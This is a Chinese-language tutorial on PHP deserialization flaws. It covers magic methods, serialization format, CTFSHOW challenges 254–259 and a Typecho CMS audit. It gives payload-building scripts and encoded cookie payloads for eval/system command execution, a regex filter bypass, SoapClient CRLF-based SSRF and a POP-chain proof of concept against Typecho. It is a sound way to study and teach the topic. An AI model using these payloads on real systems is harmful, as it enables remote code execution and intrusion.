补充:反序列化利用大概分类三类
-魔术方法的调用逻辑-如触发条件
-语言原生类的调用逻辑-如SoapClient
-语言自身的安全缺陷-如CVE-2016-7124
小结:
魔法方法:
实例化对象时,触发__construct()方法;
对象被销毁时,触发__destruct()方法;
输出对象时$a,触发__toString()方法;
序列化/反序列化:
序列化serialize($a):对象转为字符串或数组
反序列化操作unserialize($_GET[c]) :字符串或数组转为对象
反序列化操作带来的问题:
即使没有实例化对象,也可以通过反序列化操作$a=unserialize($_GET[c]);来调用类里面的属性和方法;
反序列化操作时,传输的变量值可以被修改(核心)。
一、什么是序列化/反序列化
数据的传输的时候,为了更好的传输
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象

php中的序列化/反序列化函数:
序列化:serialize() //将一个对象转换成一个字符串
反序列化:unserialize() //将字符串还原成一个对象
二、PHP反序列化出现漏洞的原因
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法;
当进行反序列化的时候就有可能会触发对象中的一些魔术方法(如果魔术方法使用不当,那就可能造成漏洞)。
#魔术方法利用点分析:魔术方法(类方法前面有两个下划线)
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct(): //构造函数,当对象new的时候会自动调用
__destruct(): //析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
三、序列化/反序列化原理
(1)序列化:将对象转化为字符串或数组
class demotest{ //类
public $name='xiaodi';
public $sex='man';
public $age='29';
}
$example=new demotest(); //实例化对象$example
$s=serialize($example); //序列化,将对象序列化为字符串,赋值给$s
$u=unserialize($s); //反序列化,将$s反序列化为对象
echo $s.'<br>'; //输出$s
var_dump($u); //打印对象$u
echo '<br>';
输出的内容:序列化后$s的内容(字符串)以及反序列后后的对象

O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";s:2:"29";}
O:对象
8:长度
demotest:对象名字
3:3个变量

第一个变量:第一个变量的值
s:4:"name";s:6:"xiaodi";
s:string类型
4:变量名的长度(如果变量类型是int类型i,就不会显示长度)
name:变量名
s:string类型
6:变量值得长度
xiaodi:变量值
修改i的类型为数字:
输出的值:O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";i:29;} //如果变量类型是int类型i,就不会显示长度
(2)反序列化:将字符串/数组转成对象
序列化数据(字符串):
O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";i:29;}
反序列化后的数据(对象):
输出u的值为:object(demotest)#2 (3) { ["name"]=> string(6) "xiaodi" ["sex"]=> string(3) "man" ["age"]=> int(29) }
四、反序列化引发的安全问题
1、魔术方法触发
【例1】:实例化对象即可触发__construct魔术方法,销毁对象触发__destruct
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){ //魔术方法:析构函数当对象被销毁时会被自动调用(代码结束,对象自动被销毁)
echo 'end'.'<br>';
}
public function __construct(){ //魔术方法:构造函数,当对象new的时候会自动调用
echo 'start'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
$a=new A();
访问test.php,结果 只实例化了对象$a,对象并没有调用类里面的任何方法,页面中就输出了start和end,
说明,如果类中只有要 __construct()和__destruct()方法,实例化对象时,这两个方法就会被直接调用(即使这两个方法没有被调用)

【例2】:实例化对象后,对对象进行序列化操作
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){ //魔术方法:析构函数当对象被销毁时会被自动调用(代码结束,对象自动被销毁)
echo 'end'.'<br>';
}
public function __construct(){ //魔术方法:构造函数,当对象new的时候会自动调用
echo 'start'.'<br>';
}
public function __toString(){ //魔术方法:把类当作字符串使用时触发
return '__toString'.'<br>';
}
}
$a=new A();
echo serialize($a).'<br>'; //序列化
代码上加上序列化操作,echo serialize($a);,就会输出字符串:O:1:"A":1:{s:3:"var";s:9:"echo test";}
这个操作就把public中的$var输出出来了。

【例3】:没有实例化对象,直接反序列化操作,会触发__destruct()方法(对象被销毁)--- 反序列化直接得到对象
<?php
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){ //魔术方法:析构函数当对象被销毁时会被自动调用(代码结束,对象自动被销毁)
echo 'end'.'<br>';
}
public function __construct(){ //魔术方法:构造函数,当对象new的时候会自动调用
echo 'start'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
$t=unserialize($_GET['X']); //反序列化字符串 O:1:"A":1:{s:3:"var";s:9:"echo test";} 为对象
?>
没有实例化对象,但是加上了反序列化(字符串->对象)的操作
访问的时候,将X参数传参为字符串 O:1:"A":1:{s:3:"var";s:9:"echo test";} ,结果 __destruct()方法被执行了(对象被销毁)

【例4】:没有实例化对象,反序列化操作 - 得到对象,还能调用类的方法和属性
<?php
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){ //魔术方法:析构函数当对象被销毁时会被自动调用(代码结束,对象自动被销毁)
echo 'end'.'<br>';
}
public function __construct(){ //魔术方法:构造函数,当对象new的时候会自动调用
echo 'start'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
echo serialize($a); //序列化
$t=unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}'); //反序列化,得到对象t
$t->test(); //t调用类中的test()方法
?>
没有创建象,只是反序列化操作,除了 __destruct()方法被执行,test()方法也被调用执行了

说明:反序列化操作时,即使没有实例化对象,也可以调用类中的变量或者方法
$a=new A() //new操作会直接触发__construct()和__destruct()方法
没有new,在反序列化操作时,会直接触发__destruct()方法,也可以调用类中的变量或者方法
【例5】:把类当作字符串使用时触发__toString() (echo $a; a是对象)
<?php
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){ //魔术方法:析构函数当对象被销毁时会被自动调用(代码结束,对象自动被销毁)
echo 'end'.'<br>';
}
public function __construct(){ //魔术方法:构造函数,当对象new的时候会自动调用
echo 'start'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
$a=new A(); //实例化对象,触发__construct和__destruct()方法
$a->test(); //对象调用test()方法
echo $a; //输出对象a,触发了 __toString
?>
创建了对象,将X参数传参为字符串时 O:1:"A":1:{s:3:"var";s:9:"echo test";} ,输出对象a时,触发了__toString方法

2、漏洞出现
【例1】:实例化对象后,先执行__construct(),再执行__destruct()
<?php
class B{
public function __destruct(){
system('ipconfig'); //对象被销毁时,执行系统命令
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
$b=new B(); //实例化对象,先执行__construct(),再执行__destruct()
?>
输出:xiaodisec和ipconfig命令执行后的结果

【例2】:序列化操作
<?php
class B{
public function __destruct(){
system('ipconfig'); //对象被销毁时,执行系统命令
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
$b=new B(); //实例化对象,先执行__construct(),再执行__destruct()
echo serialize($b); //对象序列化成字符串 O:1:"B":0:{}(没有变量)
?>
对象序列化为字符串

【例3】:没有实例化对象,直接反序列化操作
<?php
class B{
public function __destruct(){
system('ipconfig'); //对象被销毁时,执行系统命令
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//$b=new B(); //实例化对象,先执行__construct(),再执行__destruct()
//echo serialize($b); //对象序列化成字符串 O:1:"B":0:{}(没有变量)
unserialize($_GET[x]); //反序列化
?>
没有实例化对象,直接反序列化操作,就会执行__destruct()函数

3、漏洞出现-进阶
【例1】:实例化对象
<?php
class C{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
$cc=new C(); //实例化对象
?>
实例化对象后,两个函数被执行

【例2】
<?php
class C{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//echo serialize($cc); //序列化后 O:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}
unserialize($_GET[c]); //接收参数c,反序列化操作
?>
没有实例化对象,直接反序列化操作(接收参数c为字符串),结果执行了__destruct()方法

【例3】(核心):同样是上面的代码,只是在执行时修改参数
将第二个变量s的长度修改为3,将变量名修改为ver
执行:http://xxx/test.php?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";}
结果ver命令被执行了:

五、案例
CTFSHOW-关卡254到260-原生类&POP构造
1、254关
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
?>
解题思路:
要得到flag必须触发vipOneKeyGetFlag()
触发vipOneKeyGetFlag函数时候,isVip必须为TRUE才能得到flag
触发对象里面的vipOneKeyGetFlag方法,且isVip为真。只要触发login方法并且$this->username===$u&&$this->password===$p,这个时候isVip就会判断为TRUE
传入参数:?username=xxxxxx&password=xxxxxx 得到flag

2、255关
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p; //区别:用户名和密码正确,没有将$isVip设置为True
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']); //反序列化cookie的值
if($user->login($username,$password)){ //登录时用户名和密码正确
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
?>
解题思路:
这里login没有做设置,就是即使登录成功了isVip也不会为TRUE,但是在进行vipOneKeyGetFlag执行的时候,就会判断isVip要为TRUE。
那应该怎么办呢?我们能不能利用反序列化,把isVip的值强制变成TRUE。
构造isVip的值为True时,即存在一个真实的对象的值,需要通过反序列化操作:
代码执行平台:https://c.runoob.com/compile/1/
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true; //把$isVip设置为true
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p; //区别:用户名和密码正确,没有将$isVip设置为True
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$a=new ctfShowUser(); //实例化对象a
echo urlencode(serialize($a)); //将对象序列化成字符串 O:1:"B":0:{},注意,要转成urlencode()格式,避免空格等引起错误
?>
得到结果,这个结果就是这个对象字符串的写法:
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
抓包,加一个cookie的值:
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

修改请求,进行参数传递:?username=xxxxxx&password=xxxxxx

3、256关
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p; //同样,登录后没有将isVip设置为ture
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){ //用户名和密码不能相等时,才能拿到flag
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']); //反序列化
if($user->login($username,$password)){ //判断用户名和密码正确,如果直接输入用户名xxxxxx和密码xxxxxx就是相等的(和上面是矛盾的)
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
?>
这里在获取flag中增加了一个判断$this->username!==$this->password,但是又有判断$this->username===$u&&$this->password===$p; 需要验证登录账号和密码,而且账号和密码不一致。那么可以修改username和password不同,就可以进行测试。
构造当isVip=true时对象,得到对象的序列化的值(字符串),这个时候用户名和密码修改为不相等的值:
<?php
class ctfShowUser{
public $username='x'; //用户名
public $password='y'; //密码
public $isVip=true; //必须修改为true
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$a=new ctfShowUser(); //实例化对象a
echo urlencode(serialize($a)); //将对象序列化成字符串 O:1:"B":0:{},注意,要转成urlencode()格式,避免空格等引起错误
?>
得到对象的字符串:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
执行时传入参数:?username=x&password=y
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A2%3A%22xx%22%3Bs%3A8%3A%22password%22%3Bs%3A2%3A%22yy%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

4、257关
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx'; //private私有
private $password='xxxxxx';
private $isVip=false;
private $class = 'info'; //
public function __construct(){ //构造函数
$this->class=new info(); //class对象,info类
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){ //析构函数
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code); //关键字,触发REC漏洞
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
?>
这里出现了多个class,查看代码,
这里没有new对象,不会执行 __construct()构造函数;
可以利用反序列化unserialize来执行类中的方法;
发现关键字eval(可触发RCE漏洞),可以命令执行;
尝试通过eval获取flag,谁能触发getInfo函数,在ctfShowUser销毁的时候调用了getInfo函数,但是这个调用的类是info上的getInfo,所以需要把info改成backDoor
那么应该怎么构造呢?
<?php
class ctfShowUser{
private $class; //修改
public function __construct(){ //构造函数
$this->class=new backDoor(); //将"getInfo()"修改为new backDoor();因为$code是私有的
}
}
/*这段代码可删除
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
*/
class backDoor{
private $code="system('cat f*');"; //修改code的值为执行代码,先修改为"system('ls')"查看目录
//public function getInfo(){
// eval($this->code); //eval,触发RCE漏洞
//}
}
$a=new ctfShowUser();
echo urlencode(serialize($a)); //序列化,输出对象的字符串格式
?>
得到对象的字符串格式(urlencede后):
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
传入参数:http://xxx/?username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D

在PHP中,有三种类的访问修饰符:public、protected 和 private。
1.Public(公开的)- 公开的类成员可以在任何地方被访问。
2.Protected(受保护的)- 受保护的类成员则可以被其自身以及其子类和父类访问。
3.Private(私有的)- 私有类成员仅可以被其定义所在的类访问
5、258关
本关和上一关代码基本一致,因此具体分析流程间257关。 但是本关再传入cookie时添加了过滤的操作:

这里的这段正则表达式【'/[oc]:\d+:/i】的意思是匹配所有的以o、c、O、C开头,加冒号:,加数字、再加冒号:的字符串。让我们,先看看原始的序列化字符串的样子:

构造:
<?php
class ctfShowUser{
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code = 'system("tac f*");';
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11', ':+11',$a);
$c=str_replace(':8', ':+8',$b);
echo urlencode($c);
?>
生成:O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
传入参数:?username=xxxxxx&password=xxxxxx
Cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
6、259关

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
flag.php获取flag条件是 ip地址要为127.0.0.1,并且token=ctfshow才能进行写入到flag.txt
在题目代码上接受vip,然后调用getFlag 的值,获取函数名叫getvip,但是这里没有叫vip的东西。魔术方法里有一个调用:__call(): //在对象上下文中调用不可访问的方法时触发
getFlag这个方法是在flag.php和题目代码中都没有提到的。所以就满足这个__call()魔术方法触发。那么__call在哪里呢,__call在原生类中。
参考:https://dar1in9s.github.io/2020/04/02/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/#Exception
生成序列化时记得开启SoapClient拓展:php.ini中启用php_soap.dll
利用到原生类,让他自己访问自己,然后把flag写到flag.php中
想办法触发对象里面的魔术方法
调用系统原生类,
构造反序列化
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
六、CMS代码审计-Typecho反序列化&魔术方法逻辑
参考:Typecho反序列化漏洞分析 https://www.anquanke.com/post/id/155306
① 全局搜索序列化函数关键字:unserialize,在install.php第232行获取了 ‘_typecho_config’ Cookie信息后未进行过滤直接进行反序列操作,导致这个入口点可以直接进行反序列化攻击。

② 下面有new Typecho_Db对象,搜索这个对象
③ 发现定义数据库的类Typecho_Db,,全局搜索class Typecho_Db

创建对象的时候会调用:__construct方法,然后关键代码:$adapterName = 'Typecho_Db_Adapter_' . $adapterName; 这个就会触发__toString 方法

全局搜索__toString,这个代码$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;触发了__get方法
__get():魔法方法,用于从不可访问的属性读取数据
继续搜__get方法

__get触发了get函数

get函数在继续调用_applyFilter

跟踪_applyFilter,发现了call_user_func,这个就是产生漏洞的地方

POC代码:
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
$this->_params['screenName'] = 1; // 执行的参数值
$this->_filter[0] = 'phpinfo'; //filter执行的函数
}
}
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_items = array();
private $_type;
function __construct()
{
$this->_type = self::RSS2; //进入toString内部判断条件
$_item['author'] = new Typecho_Request(); //Feed.php文件中触发__get()方法使用的对象
$this->_items[0] = $_item;
}
}
$exp = new Typecho_Feed();
$a = array(
'adapter'=>$exp, // Db.php文件中触发__toString()使用的对象
'prefix' =>'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
浙公网安备 33010602011771号